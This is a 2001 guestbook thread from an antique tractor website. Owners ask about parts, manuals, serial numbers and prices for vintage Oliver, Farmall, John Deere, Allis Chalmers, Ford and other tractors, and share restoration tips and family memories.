Neil Christensen wrote on Wednesday, July 18, 2001 (PDT):Dear 770 owners and admirors. I wish to pull my Oliver 770, but lack all Oliver experience. Any suggestions as far as internal components, tricks and modifications I can make would be greatly appreciated. Profiles of you pulling tractors would prove to be truely useful. Thanks, Neil Christensen, LaFarge, WI
jerry Langworthy wrote on Wednesday, July 18, 2001 (PDT):the silver king is a neat tractor i have several 4 wheelers and three gues mabe 20 all tole i show them reg and have in my shed last silver king mountain state built in west verginia it is a 4 wheel
Brian Raynor wrote on Wednesday, July 18, 2001 (PDT):I have owned a Leader tractor for 2 yrs. I am unsure of the year model and all the other vitals. I am interested in locating information on how to purchase a manual for this tractor. If you can help me with any information please e-mail me.
Sharon Ashby wrote on Wednesday, July 18, 2001 (PDT):I've got an Oliver Super 99 with a 3-cylinder Detroit engine, approx. 1956 model. My question is, what would it be worth. Excellent conditon. Used in tractor pulling. 23-1x26 tires.
Bruce Jedwabny wrote on Wednesday, July 18, 2001 (PDT):I have found a Rock Island tractor that is all original and operating like new. The previous owner retired it in the 30s to a shed and never used it. The serial number is FA 290282. What year is it and it's value. I have also found another Rock Island that is stuck and looks to be complete. What would be a fair price to offer the owner? Please contact by e-mail bruce.jedwabny at svedala.com
Roger Balderston wrote on Wednesday, July 18, 2001 (PDT):I am looking for a 3 point hitch setup for my Allis D17. I live in Western NY. Can anyone tell me where I can get this and what I should expect to pay? thank you
Audouin wrote on Tuesday, July 17, 2001 (PDT):I am looking for documentation of FORD TRACTOR. My father was working in FORD compagnie for 27 years. He is 70 years old now and I would like to write a personal book for him with some pictures of the technology evolution in FORD tractor. Could you help me to do this
marvin wrote on Monday, July 16, 2001 (PDT):i have a case 1018 1920 or 1921 need parts . kingston mag also carb kit. does anyone know where i can find parts for this tractor. thanks marvin this tractor belonged to my wifes grandad in oregon
Gary wrote on Monday, July 16, 2001 (PDT):I came across a pair of running Oliver 550's and don't need both of them. What is a fair price to pay in good working order either with or without a front end loader? Also, is anyone interested in the one without the loader? Thanks.
Jeremy stegall wrote on Sunday, July 15, 2001 (PDT):We have a 1975 ford 2000 and the power steering is, I assume, messed up. when we start the thing up the wheels turn and point completely left and its impossible to turn it back while its running. won't turn to the right at all. If anyone can give me some advice on what to do it would be GREATLY appreciated!!
H. L. Potter wrote on Sunday, July 15, 2001 (PDT):looking for ac g in any cond. va. pa. n.c. md.w va. may tele;540 348-5008 anytime
James W. Russell Muncie, In. wrote on Sunday, July 15, 2001 (PDT): My 30 Massey Hassis clutch stuck one time. I took the cover off from under the clutch and held the clutch peddle down and took a screw driver and forced it between the plate and disk, that worked for me. Sometimes if they set for awhile the plate will stick, when I know it will be awhile before I will use any of my older tractors I will block the clutch down to keep them open.
Cathy Musil wrote on Saturday, July 14, 2001 (PDT):Can someone tell me about the 1969 international tractor. that runs on gasoline. Also how you fix the brakes?and where do you get them. Is there a web site about this tractor. Thank you Cathy
Pat wrote on Saturday, July 14, 2001 (PDT):Looking at a D17 at a JD dealer. How do I find out what year I'm looking at, horsepwer ect. Freinds tell me this would be a good small farm tractor. Can anyone help me out? They want $3500 and it looks a little rough. I'm in Western NY. Is this a good price for one of these?
Ken Starnes wrote on Saturday, July 14, 2001 (PDT):Have a 1950 MT John Deere; bought new by my dad. Also have a M MT3 one bottom two way integral tractor plow. Am looking for a left plow share for same. Also does anyone know if there is a belly mount mower made for these tractors. all information would be appreciated, thanks;
Ken Egolf wrote on Saturday, July 14, 2001 (PDT):Just find one of these sitting for sale, was interested in what it may be worth. It is in rough shape! I am new to old tractors, but was intriged by this one.
JIM ALLEN wrote on Friday, July 13, 2001 (PDT):Our neighbor had a 1951 Z. He was the MM dealer in Grand Junction, CO. I worked for him all through high school and spent many hours baling hay with the Z and an MM baler. The tractor pictured is a ZB. The Z was a favorite tractor in the valley because it was low enough to use in the orchards and could handle row crops as well.
Larry wrote on Friday, July 13, 2001 (PDT):I am restoring a 1964 JD2010 Row Crop Utility. Mine is a propane model. Someone told me only 586 propane 2010's were made. Does anyone else have a lp 2010? I am having a hard time finding a new or remanufactured grille. If you know where I can find one email me. lmattox at cowboy.net
bill wrote on Wednesday, July 11, 2001 (PDT): the B was the first tractor i owned,not that long ago either. it was a later 40s with a rolomatic and a powertol system. it also had a sears and roebuck loader. it was a powerful tractor and moved a bunch of logs, but the loader was an adventure to load hemlock logs, and what a gas hog! but she served me well. she's in the hands of a guy that'll give her a good home and not make her work anymore.
bill wrote on Wednesday, July 11, 2001 (PDT): my dad used one like this(yes,with orange wheels) for years w/ great bend loader and a small backhoe. the tractor worked great as long as you shifted gears EASY,if not she would bugger up. finaly traded it in when the power steering gave up, as parts were impossible to find.
Jim wrote on Wednesday, July 11, 2001 (PDT):I've got a Fordson Major diesel with a Sherman backhoe-loader. This unit uses a Sherman gear-pump connected to the PTO. The gear pump seal has failed and I need to locate 1) a source for replacement seals/parts or 2) replacement pump. Numbers off the pump are; JG20434 & 2025R2B2. Any help or suggestions please email - Thanks.
Bryan wrote on Wednesday, July 11, 2001 (PDT):I have inherited some sort of Ford made in England. I was told it was a 5000. It hasn't run in 4 years and was partially disassembled. All the parts appear to be there. Does anyone know where the serial number is located? Would like to get it back in use soon. Thanks for the help.
Philip Ladd wrote on Wednesday, July 11, 2001 (PDT):I have a John Deere 1950 Model B tractor and was wondering if anyone could e-mail me a copy of the wiring diagram for the generator and instrument panel. The tractor has electric starts and lights. pbjladd at yahoo.com
Philip Ladd wrote on Wednesday, July 11, 2001 (PDT):I have a John Deere 1950 Model B tractor and was wondering if anyone could e-mail me a copy of the wiring diagram for the generator instrument panel. The tractor has electric starts and lights. pbjladd at yahoo.com
Shelby Norwood wrote on Wednesday, July 11, 2001 (PDT):I currently have a 1947 wc which we use as a pulling tractor. we pull around tn. and surrounding states does real good in the 3500-4500 weight classes. I also have a unstyled 1938 wc which we plan to build up to a pulling tractor.. there is nothing but other ac's that can hold up to our's when we pull in our weight classes now
James W. Russell, Muncie, Iniana wrote on Wednesday, July 11, 2001 (PDT): I bought a new 44 in 1947 used it 5 years than traded it in on a 1953 44 which had not been sold yet, I put power steering on it as soon as I got it. I used it for 17 years before I over hauled it, It was my big tractor till 1959, I still use it for lighter work, and have not overhauled it since that first time, It is still in good shape and looks really good, It has been a very good tractor, I also have a 30 model I bought new in 1952 I put a loader on it and I still use it very often, I don't know what I would have done without it, I have just overhauled it once but it does need it again, I also have 2 more 30s in running shape.
Fred Welsh wrote on Tuesday, July 10, 2001 (PDT):I have an Oliver 770 that I bought last winter. I love it. It has an Oliver loader, Model 89, I believe. I would appreciate someone telling me where to add hydralic fluid to this tractor. Thanks..
Fred Welsh wrote on Tuesday, July 10, 2001 (PDT):I have an Oliver 770 that I bought last winter. I love it. It has an Oliver loader, Model 89, I believe. I would appreciate someone telling me where to add hydralic fluid to this tractor. Thanks..
Jay Miner wrote on Tuesday, July 10, 2001 (PDT):I would like to know if there is a place to grease the throw-out bearing on my case vai, or if it's a sealed bearing. Also, I can't find any grease fittings on the mower's universal joints. Can someone tell me how they grease there's and what there's was like.
Tim Sands wrote on Monday, July 09, 2001 (PDT):My father owned a 56 555 from new but sold it. He would very much like to have it back. This tractor was sold in the winter of 77-78 in N. Indiana. If anybody has any leads on a 555 any where would you let me know.
eifion wrote on Monday, July 09, 2001 (PDT):i have a ford 4cyl industrial engine, the same as fitted to fordson supermajor, in a boat. I am lookoing for a tachometer drive assembly that fits at the top of the fuel pump drive. can anyone help please
Kim Taylor wrote on Monday, July 09, 2001 (PDT):My brother is looking for paint information for his Leader tractor. He thinks the original paint was made by Martin Senior and had a paint#1956. Can anyone tell us what kind or paint we can purchase today to match the original?
gary wrote on Monday, July 09, 2001 (PDT):I have noticed a lot of questions asking about the difference between the "B" and the "BN" I am a John Deere guy, but I believe the "N" indicates that the tractor only has one front wheel, which I think made it handier for cultivating, etc. Also, the Farmall B was the only tractor to ever pull more than its own weight in the Nebrask Farm Tests. gary
DEVIL wrote on Sunday, July 08, 2001 (PDT):I remember using one of these when I used to haul poop out of the barn. It sure was a tits old tractor.
Dale Eisert wrote on Sunday, July 08, 2001 (PDT):Am selling a variety of tractors on the antiquetractor site. Am looking to buy a Coop E2 that is running and is in fairly good shape.
Michael Harper wrote on Friday, July 06, 2001 (PDT):I recently purchased by first tractor, a 52 Ford 8N. I look forward to restoring it and getting out in my acres and shredding instead of paying to do so.
Will wrote on Wednesday, July 04, 2001 (PDT):Just purchased a B which is cosmetically in excellent condition. Dual front wheels, the works. My only problem is the thing has been taken apart. The older gentleman I purchased it from said that the No. 3 piston's rings are frozen to the walls. A friend told me to soak the cylinder in kerosene in an effort to free everything up. Anyboyd else have an idea? If not, what is a good source of parts for these rigs. Sorry, was a Ford guy for a long time, at least when the tractors belonged to the rest of the family.
Mike Elton wrote on Wednesday, July 04, 2001 (PDT):I am new to the internet and happen to run across this page. I have five farmalls, three of them are "m's". A '40,'49,'51, I enjoy running them often. I am going to downsize a little though and sell my IH 400 gas and maybe one of the m's. If anyone is interested email me for more info.
Johnny wrote on Wednesday, July 04, 2001 (PDT):A D17 was the first tractor i drove as a boy. I can remember i was 6yrs old and drove the tractor while my Dad forked silage to the dairy herd. 20 yrs later I was once again drove the very same tractor again. Brought back a lot of good memories
Ricky V. Hopkins wrote on Tuesday, July 03, 2001 (PDT):I would like to know the year model for my Ford 4000, i just bought. If i looked at the right place the serial number is D2-NN-7006C. Any help would be appreciated. thanks, Rick
hugh gentry wrote on Tuesday, July 03, 2001 (PDT):If someone has a list of "junkyards" or someone with a 1956 ford 800 I need parts to restore my dad's tractor. Anywhere in the southeast or mid-west. I live in fl. Thanks for anyone that can help
mark wrote on Monday, July 02, 2001 (PDT):i once saw a farmall h or m painted an off white with red grill and wheels.it looked factoy. could someone clue me in on this. thanks
Ron Gates wrote on Monday, July 02, 2001 (PDT): Sirs; Recently got a 1948 C Model and have cleaned up and running pretty good. I want to enter it in a local tractor pull (stock) on the 22nd July. I want to have the rear tires filled with the sodium mix for weight.What gear is better to pull in; seems like 1st is to slow to pull a sled. Also please let me know the place to get a six volt starter motor for this tractor; kind of hard hand cranking all the time especially after the block has warmed up. Even though it's not the same web page to mention it; I also have a 1948 Allis Chalmers which takes the same the same starter motor (less bendix and mount) that I will be entering.
Sandy Van Orman wrote on Sunday, July 01, 2001 (PDT):I collect antiques,too. I have 2 730's and R and 60,and an 830. I also collect 5010's and 6030's and also have the new ones too. Looking for others antiques too. Would like to have a " D " at a reasonable price. I also collect the toys,of these tractors. My wife and son collect anything that's John Deere.
john david wrote on Sunday, July 01, 2001 (PDT):the guy is right on the fordson major ..wheels were orange. I don't remember the h.p. on these tractors , but they were little workhorses.
Ed Savage wrote on Sunday, July 01, 2001 (PDT):i just bought a working 1949 john deere model B electric start and its my first tractor restoreing it works but it burns oil any sugestions in hoe i fix this problom or just steps in going about restoreing my tractor
Ed Rendell wrote on Friday, June 29, 2001 (PDT):In case my good friend (and brother in Christ) should read this, I am quite pleased , and honoured to have "Buster" in the yard. I am actively seeking for ways to get her back to her former glory.
doug taylor wrote on Friday, June 29, 2001 (PDT):I am looking for pictures of massey harris 44s or particularily massy harris 744 tractors i live in Australia and have just purchased a 744 if you have any please send them by email or contact me i would love to talk . regards doug
Maurice wrote on Thursday, June 28, 2001 (PDT):In the early fifties my Dad traded an Oliver 70 and a Massey Harris 44 in for a new H and a new Super M. He felt that the Farmalls were the first real tractors he ever owned. He farmed with those tractors for over thirty years and they both ran as good as new when he quit farming and sold them at auction. I can not remember either of those tractors failing to start or unable to handle any job we asked them to do. Great tractors! How sad to see the International Farmall name go.
Dave Emmons wrote on Wednesday, June 27, 2001 (PDT):The serial number reference page mentioned above has moved to www.sckans.edu/~alan/tractor.html Looks like a good deal of information on al sorts of antique tractors.
Del Watkins wrote on Wednesday, June 27, 2001 (PDT):I am looking for a late 40's - 50's D, L, LA seiries tractor with excessories if possable (loader, PTO, 3 Point,) to use regularly. I prefer running but am open to other options. Grand Terrace Tractor in Colton California is a good source of old parts, as is Meyer Ward based in Northern california for those needing help.
N.C. Bruce wrote on Monday, June 25, 2001 (PDT):$$ Looking to buy a good or restored WD45 AC Tractor. Prefer Narrow front, Gas, Snap Coupler, like my Dads ole tractor, but will consider any running, no smoke, working tractor.
lester wrote on Monday, June 25, 2001 (PDT):Hi, i have an old antique tractor;it seems to me that it is a to35 with the loader and backhoe attachment. I was wondering if someone could help me as to where to find the serial no. It's a 3 cyl. perkins diesel with 3 speed transmission hi,lo. The color is yellow. thanks.
John Kuebler wrote on Monday, June 25, 2001 (PDT):My DAD bought a WD45 new in 1955. WE pulled a 4 bottom plow sometimes running in 3rd gear. Never has there been a tractor of this size with so much power.
Les wrote on Monday, June 25, 2001 (PDT):I have a 12 HP Russell Steam Traction Engine. You can see it at the Dale and Martha Hawk Museum web site. We fire it up once or twice a year and hook it up to either the family saw mill or one of the Threashing machines at the museum. I am looking for a Russell Threashing Machine if anybody has info on one email me.
frank wrote on Sunday, June 24, 2001 (PDT):anyone have the rear 3pt setup for sale? cant find any.help
Roger Milam wrote on Saturday, June 23, 2001 (PDT):Today I bought a Fordson Major tractor. It's in great shape. The salesman told me it was a 1962 model, and that it has 52 hp at the PTO. I would like to find an owner/operator's manual and any other data available about the tractor, like where to find parts. It has a Ford 5000 hood on it, so I could use a Fordson Major hood. It also needs a grill and front emblem. I now have a John Deere model MT for sale. I live in a small town west of Houston, Texas.
robert melvin wrote on Friday, June 22, 2001 (PDT):hi i'm looking for a farmall cub with a belly mower. do anyone have one for sale that is in good condition and priced fairly if so please contact me thanks.
Dave C. wrote on Thursday, June 21, 2001 (PDT):A month ago I purchased an International Farmall Cub tractor. I was told it was a 1947 model. Where can I find the serial number so I can get more info on the tractor for restoration?
vonzapp wrote on Thursday, June 21, 2001 (PDT):John Halm is correct. It's a Russell steam traction engine at Brooks, Oregon. I can't tell which size based on the picture, but I suspect John is right. I own a 1916 16/48HP model. They're excellent running and well built machines. See www.russellcollectors.com for more info. The 3 vertical beams in the background are part of the portable Star Drilling Machine owned by the Robinson family. It's a drop drill (impact) drilling rig for oil and water.
MIKE KOSELKE wrote on Thursday, June 21, 2001 (PDT):just bought a vc, year unknown[no plate]this tractor complete i think.im new to the case breed can anyone help with a parts book?even a copy would be fine.Also internet sites would help.I also need tin that goes over battery box. Love this site. Thanks
Terry Fisher wrote on Thursday, June 21, 2001 (PDT):I really enjoy my 2010. I just replaced the starter armature with a Delco rebuilt and it starts great every time. I use a 509 rotary cutter (brush-hog) and swear that I can take down brush that has a 2" radius at the base. I am having problems now with my choke. It's unhooked at the dash panel. Any suggestions on how to repair the choke easily?
Ray Mohler wrote on Thursday, June 21, 2001 (PDT):I have a 1940 General "GG". It was purchased new by my father.It has a manual lift,16in. plow. the Owners Manual lists the paint as Cletrac Orange [Standard], part no. 48000. I remember it as being a brownish orange. Other colors were chestnut brown, black, and buckskin. Sorry I cant offer a source for the paint.
Frank wrote on Wednesday, June 20, 2001 (PDT):I'm looking for a clutch for a /47 Co-op model E. I would really appreciate it if anyone with info would contact me.
Bryan wrote on Wednesday, June 20, 2001 (PDT):I am looking to buy a 350, Has a Front loader, Frontmount Hydraulics, 2000 hours, good rubber on back 28's... the Frontloader has alot of welding and is cracked in a few places, they are asking $3500 is this a god price?
Patrick Arnould wrote on Wednesday, June 20, 2001 (PDT):Ive bought my Fordson New Major now, what happened to the tractor in the picture. It should have cast iron orange wheels, headlights at the side. Could anyone please tell me where I can find a Lubrication Chart for a Fordson New Major?
Bill wrote on Tuesday, June 19, 2001 (PDT):I am restoring an ESKA pedal tractor. It is a Massey Harris 44 Large. I would like to know the proper paint color for the tractor and the wheels.
Otávio Machado wrote on Tuesday, June 19, 2001 (PDT):I need information about CASE 900, 1956. Please, send information!
Otávio Dias da Costa Machado wrote on Tuesday, June 19, 2001 (PDT):Hi friends, I'm a brazilian master student (in agriculture engeenering), and I'm working with machine levels, trough direct requests. So, we met some fordson, zector, deutz, hannomagui, and other anticle tractors, but a great doubt is the machine power (kW, hp,...)that i need in my calculation! If you know anything, data, webapge, or other, please subscribe me!! I will happy to reward my fotos and data!!
Stan Lackey wrote on Monday, June 18, 2001 (PDT):Gentelman I just bought a Massy Harris tractor that looks like the one in the photo, although it is a 4 point wheal set up. The cowling and engin are the same. Would this ba a model 81 also.I'd be happy to send a photo if you are interested.
Scott Pearl wrote on Monday, June 18, 2001 (PDT):I have a 1947 B.F. Avery tractor, Model "V". I need a rebuilt or a rebuildable engine for it. Can anyone help me find one? Thank you.
Travis wrote on Monday, June 18, 2001 (PDT):My Grandfather used to work on Case and Allis Chalmers tractors when I was still in diapers, he passed away before I had the chance to get aquainted with him, When I was deciding what to do in my high school ag class four years ago I obtained my father's permission to restore a 1929 L that was passed down from my Grandfather. I spent a little over a year on it and when I finished I had a nice looking tractor with a solid oak floor that was done for amusement purposes and a nice way to pay tribute to the Grandfather that I never had the chance to get to know. When this project was completed, I continued on with a 37 CC and a 50 DC. What a great way to get in touch with the past.
Bill Lemons wrote on Monday, June 18, 2001 (PDT):Have recently been able to purchase my wife's uncle's 1950 Farmall C. with disc plow, 2 bottom plow, bush hog, cultivators and a 2 row planter. Any information on how the planter works and attaches to tractor would be greatly appreciated without having to buy a 110.00 manual.
Travis wrote on Monday, June 18, 2001 (PDT):I have been a Case man in the past, restoring a 51 DC, 37 CC and a 27 L. However, my father and I were watching a tractor pull and when he saw the 830 hook up, his memories were brought to life. Could someone help me find an 830 to fulfill a sarcastic birthday wish? Thanks Travis
C.W.Broughton wrote on Monday, June 18, 2001 (PDT):To; Jesse Templin...Hey I see that you are an Oregon number and your lens can be ordered through "Farmland Tractor Supply" in Tangent,Or. (541)928-1646...also I got mine through Knecht's Auto Parts for my 59 and it was a lot cheaper, but I don't know if a 59 and a 47 use the same light system. Good luck....Jim
Melody Wasson wrote on Sunday, June 17, 2001 (PDT):The G is one of the Allis Chalmers in my father-in-law's collection. He has added a belly mower and uses it on his property along with his others for keeping his yard and garden. I have two sons, and my oldest has been driving the "little G" since he was three and a half. He is now five and his brother is three. They have driven Allis Chalmers in several parades and last year won the first place plaque for their category. My sons never visit Poppy without asking for a ride. It is a bonding experience for them and I am glad they have such a wonderful Grandpa to spend time with. We love our Poppy and want to wish him a Happy Father's Day. Hope you can post this message so we might be able to show him how much we do appreciate him.
Jesse templin wrote on Saturday, June 16, 2001 (PDT):I have a 47 f cub seeking glass head light lens I have some parts for sale or trade feel free to contact me at 503 543 7871 any time looking forward to hearing from you.
ronald legault wrote on Saturday, June 16, 2001 (PDT):1 have a massey-harris 81 i use it to work on the farm all summer rake pull hay loads pass chain harrow etc.it all original.i put a pump at the pully place to use the remote for the hay rake.every thing is bolted and can be taken off in 20 minutes.thank you the site is very good and interesting merci bonjours.
Dick Curwin wrote on Saturday, June 16, 2001 (PDT):Just bought a Cletrac/Avery/Montgomery wards General wheeled tractor rusted but pretty complete(I think) Does anybody know that coler this tractor was when sold my Montgomery Wards. THX Curly.
Chad wrote on Friday, June 15, 2001 (PDT):My wife has just inherited a 38 G unstyled from her grand dad..It was the first new tractor that he owned..i love to go out and get it started and listen to it idle...there is no other sound like the popping johnny
John Harp wrote on Friday, June 15, 2001 (PDT):My grandson has a 1954 MM UTU that runs on LPG, that means Liquified Petrolium Gas. That tractor is rusty now, it has power steering. It has a new Goodyear left rear 15.5 x 38 tire. That's all I have to say about that.
derek sifford wrote on Friday, June 15, 2001 (PDT):i have a friend who has restored a massey haris tractor a pacer model but it was not bought with the original bench seat past owner was unable to locate such seat. if you could tell me where to find a seat it would be helpfull thanks
derek sifford wrote on Friday, June 15, 2001 (PDT):i have a friend who has restored a massey haris tractor a pacer model but it was not bought with the original bench seat past owner was unable to locate such seat. if you could tell me where to find a seat it would be helpfull thanks
Ron Raczka wrote on Friday, June 15, 2001 (PDT):AM INTERESTED IN OWNING AN OFFSET FORD TRACTOR. ANY INFORMATION WOULD BE APPRECIATED. E-MAIL OR CALL 716 934-3915
Justin wrote on Wednesday, June 13, 2001 (PDT):could u please send me picture's and infomatin on the John Deere model L tractor thankyou
Gene Lapointe wrote on Wednesday, June 13, 2001 (PDT):I have just completed restoration on a massey harris model 20 tractor, and enjoyed it so much that I just bought a super dextra. I have just started to research the tractor s specs and color scheme. Mechanically it runs well but is missing the hood and is rough looking. mine has a m.f.loader on it and it also words well. I would appreciate any help on finding info.--Saint John N.b. Canada
duane johnson wrote on Tuesday, June 12, 2001 (PDT):i have a 1955 30 series cockshutt and all i really would like to try is to change to a wide from narrow is it possible on this year and series and how and what do i need too do it, or would it be feasible to widen the rear axle substantially. i am very inexperienced and cost is prohibitive. any ideas welcome. even if i leave it original i am proud to own the pioneering leader in all farm tractors. i read the operators manual and marvel at the simple but excellent technology involved in this gem.
Ron Raczka wrote on Tuesday, June 12, 2001 (PDT):Am interested in buying an offset ford tractor. Any information would be appreciated. E-mail or call 716 934-3915
greg smith wrote on Tuesday, June 12, 2001 (PDT): I have post hole digger for my WD-45 I used it this weekend building a deck on my brothers house. I really dought if there are many out there for sale. You probly will have better luck if you put a 3 point conversion on the tractor.
chris wrote on Tuesday, June 12, 2001 (PDT):can anyone send me a pic of a d17 baling hay please?
CJ Squared wrote on Tuesday, June 12, 2001 (PDT):JUST BOUGHT MY 1ST H!!! I've always loved my neighbor's Hs which they used solely to farm. Wasn't looking but a friend said he had a tractor he need to get rid of. Seeing the smile on my wifes face and the cheers my the kids sealed the sale. I am lucky to have a pro H mechanic as a neighbor. Started learning alot about 1949 6-volts and shived pulley systems. 1st goal is to get it to the Arcadia, MD steam and tractor round-up in August. I'll be sharing more with you all soon.
Ben Cleaveland wrote on Tuesday, June 12, 2001 (PDT):looking for runnung motor for a w12, have w12 with stuck motor, also need air cleaner assembly and good useable manifold for same tractor, pulled this one out of a fence row after 45 years, thanks
Dennis wrote on Tuesday, June 12, 2001 (PDT):Hello all. My father has been restoring tractors for 30 years and now I have become interested. I have looked in to many different kinds of tractors and found that the quality, and Style of the Allis Chalmers tractor is unmatchable. My father has always been a fan of Allis Chalmers, and I grew up with 3 Wd45, a Farmall H, and A Allis D17, Needless to say that I like them. But I love the stlye of the B very much. If there is any one out there who a B for sale for 200 or less in Central New York please E- Mail Me At Alleyman12 at hotmail.com
Weasley with avengance wrote on Tuesday, June 12, 2001 (PDT):I saw a junk deere break down after I wrote my comment yesterday. This one I think was An A. I still feel that John Deeres are the weakest, ugliest, most anoying tractor there ever has been. Chug Chug Chug!
Ted wrote on Tuesday, June 12, 2001 (PDT):I am looking for a front frame for a Massy Harris pacer. The one I have was broke when I got I thing the broke by over loading the loader they had on the tractor.
Allan Currie wrote on Monday, June 11, 2001 (PDT):I had an L - a later one that looked like the one in the picture. Had the LA rear wheels. Farmed 150 acres with it for quite a few years. They were as durable as they get. Would pull 15 foot massey discer quite well. There were a lot of them out here in west central Saskatchewan. I have an Old L not runnung. ser # is 332511. What year is it?
robert ball wrote on Monday, June 11, 2001 (PDT):I own a 770 industrial with front end loader and backhoe, also has the hydraulic reverser. she is still digging basements, septics etc. I am going to get a new backhoe this year and would like to sell her, anyone interested please contact me.
Matt Cromer wrote on Monday, June 11, 2001 (PDT):My father has purchased an Oliver HG cletrac and we are needing information on it. So if there is anyone that may give us som information,to help us further enjoy this great machine.We would really appreciate the info. dearly.thanks,The problem were having is finding information
Matt Cromer wrote on Monday, June 11, 2001 (PDT):My father has purchased an Oliver HG cletrac and we are needing information on it. So if there is anyone that may give us som information,to help us further enjoy this great machine.We would really appreciate the info. dearly.thanks,The problem were having is finding information
Darryl Anderson wrote on Monday, June 11, 2001 (PDT):My Grandfather had a Unstyled WF that I grew up with. Unfortunatly it was destroyed in a Barn Fire in 1976. I currently located a WF #157 that I am restoring. They were an excellent tractor. My Grandfather bought his new in 1938 and it was still running in 1976. I am Looking for a way to repair the steering wheel covering in place, are there any repair kits available?
allen byrd wrote on Monday, June 11, 2001 (PDT):i am restoring a d-17. i was told it was a series 4 but the fuel tank say's 3.how would i go about finding out which one it is. also what are the paint codes. mine is a deisel. would welcome any replies on restoring this tractor. thanks
BILLY BISHOP wrote on Sunday, June 10, 2001 (PDT):I have 1964 Fordson Dexta or Super Dexta I'm not sure which. It is a 4 cyl gas and I need an engine or a rebuild kit for the block that I have. Can I replace this engine with the 3 cyl deisel? Can anyone help?
Neill & Cameron Anderson wrote on Sunday, June 10, 2001 (PDT):We are the proud owner of a 1948 series 2 field marshall serial number 8881. We would be very grateful if there's anybody out there who remembers this tractor. From what we know it spend most of its working life in Australia. it was sold by NSW distributors. The front cowl had " QUEENS BRIDGE ENGINEERING" Stamped on it.
Roy Cooper wrote on Saturday, June 09, 2001 (PDT):I have access to a Case Model VAC 14 Serial # 6011915, anbody interested in restoring please contact me . Also I have access to other Case old farm equipment. Good site..... Thanks
Larry wrote on Saturday, June 09, 2001 (PDT):I recently purchased a 541 Ford Offset gas. I need detailed pictures of a 501 series from all angles. I need a left side running board and maybe some better fenders. Also, any original literature. Too, I would like a set of cultivators... I have the original turning plow, two bottom 14" and the mounted discus. Is there an established value on this tractor unrestored and restored?
John wrote on Saturday, June 09, 2001 (PDT):My father has been the owner of a 2010G backhoe for the last 21 years. It was a little ornary until we overhauled the engine, but what can be expected after 40 years. It has always run and performed well. We use it maybe 75 hours a summer, and never have a problem.
Warren Prill wrote on Friday, June 08, 2001 (PDT):We farmed with a massey 55,44 and 101Sr-6cylinder Chrysler. The 44 was a powerful versatile tractor.It was a 5 speed. We overhauled it with M&W pistons for incresed HP. I believe we boosted the hp to 65 or more, we were never quite sure. But the difference was amazing, we could outpull a 560 IHC anytime,aw those were the good old days.
Warren Prill wrote on Friday, June 08, 2001 (PDT):My dad farmed with a M-H 55,44 and 101 Sr.Alle three were great farm tractors.The 55 came with 16x34 tires and we replaced them with 18x34 Firestones.Traction was much improved.We had 300# of wheel weights on each rear wheel and each rear wheel was filled with water.Our 55 did not have power steering but it did have a Charlyn hydraulic pump driven off of the PTO.For added power we over hauled the the big 4 with M&W pistons.Cubic inches were over 400 and the HP was near 80 or so.No big deal by today's standards but in the late50 and 60's nothing could out pull it.No J-D, no M-M,no Oliver,no Farmal,no A-C ,no Cockshut 50.Nothing. The M&W powered 55 with had was the King of the Hill. The only problem we ever had was the 6 volt ignition system. Not enough juice to crank the big bore 4 over.We put the biggest 6 volt on the market in the tractor,but on winter mornings,starting this animal could be hard.We often had to assist the 6 volt with the hand crank.The hand crank operator had to be ready in case of a back fire so as not to get a broken arm or wrist.Yes, the 55 was powerful and economical.During its era,nothing could match it,regardless what others might say,the 55 ruled. Our other M-H models were the 44 and 101 SR. We also put M&W pistons in the 44 and bumped the H-P to nearly 60.It was also a pulling fool, but needed more weight the front end could be lifted quite easy pulling a heavy load.It had a 5 speed gear box.Highway speed was good.Versatile,powerful tractor. The 3rd "Massey" we used was the 101 Sr.It had a 6 cylinder Chrysler engine.We used this tractor to cultivate beans and corn.We had a front mounted 4 row cultivator.With no power steering and all that weight on the front wheels,it took strong hands and arms to operate.You did not have to lift weights to build your muscles, just spend 8 hours a day turning the cultivator and you had a good work out.The best thing about the 6 banger was the road speed.You could easily top 20 mph. In their day,in my opinion,no tractor could out pull a Massey Harris or out perform a Massey Harris.We had other tractors while we had the "Massey's",Case( we called it the "hopeless case"),Farmal Super M,Co-OP E-3.Massey Harris beat them all. The only real difference between the 55 and 555 were a few features like power steering and some hydraulics I believe. The 555 had some chrome on the hood,and was only made for one or two years.
joe wrote on Friday, June 08, 2001 (PDT):recently purchased a 1966 D-17 gas AC. Need all manuals or copies of same. What can I expect to pay for good straight fenders? Really would like to know what weight fluids to use to service tractor so I can use, any help would be appreciated. Additionally rear tire has a wobble in it, could it just be a bent rim? Thanks in advance Joe
Joe wrote on Friday, June 08, 2001 (PDT):recently purchased a 1966 D-17 Gas AC. Need all manuals or copies of same. What can I expect to pay for good straight fenders? Really would like to know what weight fluids to use to sevice tractor so I can use, any help would be appreciated. Additionally rear tire has a wobble in it, could it just be a bent rim? Thanks in advance Joe
A. LaFargue wrote on Friday, June 08, 2001 (PDT):I have an IH 300 utility tractor in fairly decent shape, paid $2600, but steering is loose. Any help on how to take out play. Already tried all steering adjusting screws. Also wanted to know how many made and serial numbers of years in production. Thanks
Glenn Berts wrote on Friday, June 08, 2001 (PDT):A year ago I bought an '48 MD for $200. The gas side linkage and other parts were missing. The only way I could start it was to pull it. I now put two 12 volt batteries in series to the starter and give it just a small shot of starter fluid and away it goes. It smokes for two or three minutes until it warms up and runs smooth after that. I charge the batteries occasionally after about 25 or 30 starts. Nothing compares to taking off in road gear and hearing the governor kick in and the pure acceleration. This rig will be attached to my PTO sawmill in the very near future.
John Wulff wrote on Friday, June 08, 2001 (PDT):Well I am a beginner and it looks like I have made the best choice of my new farming life by buying a Fordson Major as my first Tractor. It is a diesel and to be honest the learning curve for me will be steep and I think exciting. I am happy to join the family of devoted Fordson Major owners. If you have any tips for me in caring and operating my new found friend, please do not hesitate to send me an email at bigbad at bigpond.com.au. I would also be interested in hearing from other Fordson Major owners in Australia.
Robert Kole wrote on Thursday, June 07, 2001 (PDT):I have farmed with several Cockshutt models. Presently I own 3-30's 2-40's a 50 gas. A 20 with serial number 208 and it has the 124 engine. I also own a 550 of the new design and a three bottom 3 point plow. Great tractors
Timothy ANderson wrote on Thursday, June 07, 2001 (PDT):i would like to know if anyone knows about a worthington tractor or any thing that was built with a crysler moter and dodge rearend and was built by worthington
